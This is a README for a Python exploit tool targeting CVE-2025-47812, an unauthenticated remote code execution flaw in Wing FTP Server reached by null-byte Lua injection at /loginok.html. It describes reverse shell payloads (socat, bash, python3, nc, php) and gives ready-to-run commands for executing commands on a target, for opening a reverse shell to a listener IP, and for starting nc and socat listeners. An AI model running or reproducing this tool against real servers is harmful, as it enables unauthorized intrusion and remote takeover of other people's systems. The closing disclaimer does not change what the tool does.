CVE-2025-47812 — Wing FTP Server Remote Code Execution (RCE)

Overview

How it works

The vulnerability exists in the /loginok.html login endpoint. The server fails to sanitize null bytes (%00) in the username field. This allows an attacker to inject arbitrary Lua code into session files, which are later evaluated server-side when endpoints like /dir.html are accessed — without any authentication required.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-47812

Features

• Unauthenticated command execution
• Multiple reverse shell payloads (socat, bash, python3, nc-e, nc-fifo, php)
• Socat payload prioritized for full interactive TTY
• Pre-flight target reachability check
• Auto session UID extraction with fresh session per attempt
• Pick a specific payload with --payload flag
• Save command output to file with -o
• Configurable --timeout and --delay
• Verbose/debug mode with -v
• Graceful Ctrl+C handling
• Payload summary after reverse shell attempts
• CLI argument mode + interactive menu
• Color-coded output

Requirements

pip install requests

Usage

Interactive mode

python3 wingftp_rce_exploit.py

CLI mode

# Run a command
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id"

# Save output to file
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id" -o results.txt

# Reverse shell (try all payloads)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444

# Reverse shell (specific payload)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444 --payload socat

All options

-u / --url        Target base URL
-U / --username   Login username (default: anonymous)
-c / --command    Command to run (command mode)
-r / --rhost      Your listener IP (reverse shell mode)
-p / --rport      Your listener port (reverse shell mode)
     --payload    Specific payload to use (see list below)
     --timeout    HTTP request timeout in seconds (default: 10)
     --delay      Delay between payload attempts in seconds (default: 4)
-o / --output     Save command output to file
-v / --verbose    Enable debug output

Reverse Shell Payloads

Examples

Command execution

Target URL : http://192.168.1.10:5466
Username   : anonymous
Choice     : 1
Command    : whoami

Reverse shell

Step 1 — Start your listener (socat recommended for full TTY):

socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr

Or with nc:

nc -lvnp 4444

Step 2 — Run the exploit:

python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r YOUR_IP -p 4444

Credits

• Original PoC by blindma1den
• Improved and extended by Havbuy

Disclaimer

This tool is intended for educational purposes and authorized security testing only.
Do NOT use against systems you do not own or have explicit written permission to test.
Unauthorized use is illegal. The authors accept no liability for misuse.